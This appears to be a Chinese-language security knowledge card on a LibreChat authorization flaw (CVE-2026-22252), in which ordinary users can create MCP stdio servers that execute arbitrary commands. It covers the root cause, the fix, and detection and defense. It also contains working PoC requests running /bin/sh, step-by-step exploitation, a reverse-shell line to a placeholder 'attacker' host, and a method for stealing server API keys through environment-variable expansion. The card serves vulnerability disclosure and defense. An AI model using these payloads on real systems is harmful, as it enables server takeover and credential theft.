LibreChat MCP stdio 服务器创建授权缺陷:默认用户经 /api/mcp/servers 执行任意命令(CVE-2026-22252)
ai-security/mcp-security · verified
一句话结论
LibreChat 默认给普通认证用户授予 MCP_SERVERS 的 USE 和 CREATE 权限,同时 POST /api/mcp/servers 的 MCPServerUserInputSchema 仍接受 stdio 类型配置,command/args 无白名单;任何注册用户提交 {"type":"stdio","command":"/bin/sh","args":["-c","id > /tmp/111.txt"]} 就能让服务端 StdioClientTransport.start() 调用 spawn() 执行任意命令,在 Docker 部署中通常以 root 身份运行(CVE-2026-22252,CVSS 9.1)。
原理
- 默认权限过大:
packages/data-provider/src/permissions.ts中mcpServersPermissionsSchema对默认用户设置:ts即普通注册用户就有创建 MCP 服务器的权限,不需要管理员。 - 入口:
api/server/routes/mcp.js中router.post('/servers', requireJwtAuth, checkMCPCreate, createMCPServerController);checkMCPCreate依据上面的默认权限放行。 - Schema 接受 stdio:
MCPServerUserInputSchema是一个 union,修复前包含omitServerManagedFields(StdioOptionsSchema)。StdioOptionsSchema定义: type: z.literal('stdio').optional();command: z.string()(直接接收可执行程序路径,无白名单/路径清洗);args: z.array(z.string())(直接作为参数数组);env的transform对每个值调用extractEnvVariable(value),会把${VAR_NAME}替换为服务器环境变量(可用于读取服务端密钥);stderr: z.any().optional()(可抑制错误输出)。- 控制器到执行:
createMCPServerController用MCPServerUserInputSchema.safeParse(config)解析请求体,然后getMCPServersRegistry().addServer('temp_server_name', validation.data, 'DB', userId)。添加/连接服务器时,packages/api/src/mcp/connection.ts的switch (type)进入case 'stdio',用options.command、options.args、options.env实例化StdioClientTransport。 - 最终 spawn:
StdioClientTransport.start()执行:ts this._process = spawn(this._serverParams.command, this._serverParams.args ?? [], { env: { ...getDefaultEnvironment(), ...this._serverParams.env }, stdio: ['pipe', 'pipe', this._serverParams.stderr ?? 'inherit'], shell: false, ... });shell: false并不阻止任意命令,因为command本身可以是/bin/sh,args是['-c', '<任意 shell 命令>'];这样等价于一个完整的 shell。 - 为什么是授权漏洞:MCP stdio 的语义本来就是“启动本地进程”,管理员在 YAML 中配置是合理的;问题在于 API 把同一能力暴露给了默认用户,且没有把
stdio从用户输入白名单中剔除、没有要求管理员角色、没有命令白名单或沙箱。 - 响应 400 但命令已执行:创建后服务端会尝试连接 MCP 服务器;若恶意命令很快退出(如
id > /tmp/111.txt),连接检查失败并返回400 MCP_INSPECTION_FAILED: Failed to connect...,但spawn()已经发生,文件已写入。这一点容易被误判为“利用失败”。 - 环境变量泄露:
env字段的extractEnvVariable允许${OPENAI_API_KEY}等引用;攻击者可让命令读取/外带这些值,扩大影响。 - 修复:0.8.2-rc2 在
packages/data-provider/src/mcp.ts中从MCPServerUserInputSchema移除omitServerManagedFields(StdioOptionsSchema),注释明确“Stdio allows arbitrary command execution and should only be configured by administrators via the YAML config file (librechat.yaml)”;测试api/server/routes/__tests__/mcp.spec.js也改为断言type: 'stdio'返回 400。管理员仍可通过librechat.yaml配置 stdio(保留原有功能)。
触发条件
- LibreChat < 0.8.2-rc2(Docker/自建部署)。
- 攻击者能注册/拥有一个普通认证账号(默认
MCP_SERVERS权限USE=true、CREATE=true)。 - 服务端
POST /api/mcp/servers可达,且未额外收紧 MCP 创建权限。 - 容器以 root 运行(官方 Docker 镜像默认),命令以服务进程权限执行。
利用步骤
- 注册普通账号并登录,获取 JWT(
Authorization: Bearer <token>)。 - 发送创建 MCP 服务器请求,
config.type设为stdio,command设为/bin/sh,args设为["-c", "id > /tmp/111.txt"]。 - 服务端解析 schema、写入 DB 并尝试连接,
StdioClientTransport.start()调用spawn('/bin/sh', ['-c', 'id > /tmp/111.txt']);即使 HTTP 返回 400MCP_INSPECTION_FAILED,命令也已执行。 - 进入容器或通过共享目录确认
/tmp/111.txt内容为uid=0(root)...。 - 回显技巧:把命令输出写到 Web 静态目录,例如
id > /app/client/public/images/output.txt,然后访问http://target:3080/images/output.txt直接读取;也可写 webshell/反弹 shell。 - 进一步利用
env的${VAR}解析读取服务端密钥,或写入持久化文件;授权测试仅使用id/echo等无害命令。
PoC
POST /api/mcp/servers HTTP/1.1
Host: localhost:3080
Authorization: Bearer <JWT>
Content-Type: application/json
{
"config": {
"type": "stdio",
"title": "test",
"command": "/bin/sh",
"args": ["-c", "id > /tmp/111.txt"]
}
}
回显版本:
{
"config": {
"type": "stdio",
"title": "test",
"command": "/bin/sh",
"args": ["-c", "id > /app/client/public/images/output.txt"]
}
}
随后访问 http://localhost:3080/images/output.txt 即可看到命令输出。注意:创建请求可能返回 400 MCP_INSPECTION_FAILED,这不代表命令未执行。
变体与关联
- 环境变量读取:
env中的值会经过extractEnvVariable,可写{"X":"${OPENAI_API_KEY}"},再让命令读取X或把环境写入文件,窃取模型 API Key。 - 反弹 Shell/持久化:把
args换成["-c","bash -i >& /dev/tcp/attacker/4444 0>&1"],或写 cron/systemd/启动脚本。 - 同类 MCP stdio 授权面:本库
ai-security-mcp-stdio-endpoint-command-injection(JeecgBoot AIRAG 认证用户经 endpoint 执行命令)、ai-security-mcp-security-langflow-flow-node-mcp-stdio-authorization-bypass(LangFlow 流程节点绕过管理员限制)是不同产品的同类根因;本卡聚焦 LibreChat 的默认权限 + API schema 接受 stdio +spawn()链。 - 修复绕过:升级后 API 拒绝 stdio,但管理员仍可通过
librechat.yaml配置;若攻击者能写该配置文件,仍可执行命令(属于另一个信任边界)。
检测与防御
- 升级:升级到 LibreChat ≥ 0.8.2-rc2;确认
MCPServerUserInputSchema不再包含StdioOptionsSchema。 - 权限:把
MCP_SERVERS.CREATE从默认用户权限中移除,仅管理员可创建;对/api/mcp/servers增加管理员校验与审计。 - 执行隔离:MCP stdio 进程以非 root、低权限用户运行;使用容器/seccomp/只读文件系统;限制可执行路径与参数白名单;禁止 shell 包装(只允许固定可执行文件 + 受限参数)。
- 检测:监控
POST /api/mcp/servers中type: "stdio"的请求;监控 LibreChat 进程spawn出的/bin/sh -c、cmd.exe /c、bash -c子进程;监控 Web 静态目录(/app/client/public/images)异常写入;审计env中出现${...}的请求。 - 响应:发现可疑 MCP 服务器记录后立即删除、检查容器内
/tmp与静态目录、轮换服务端环境变量中的 API Key,并排查持久化。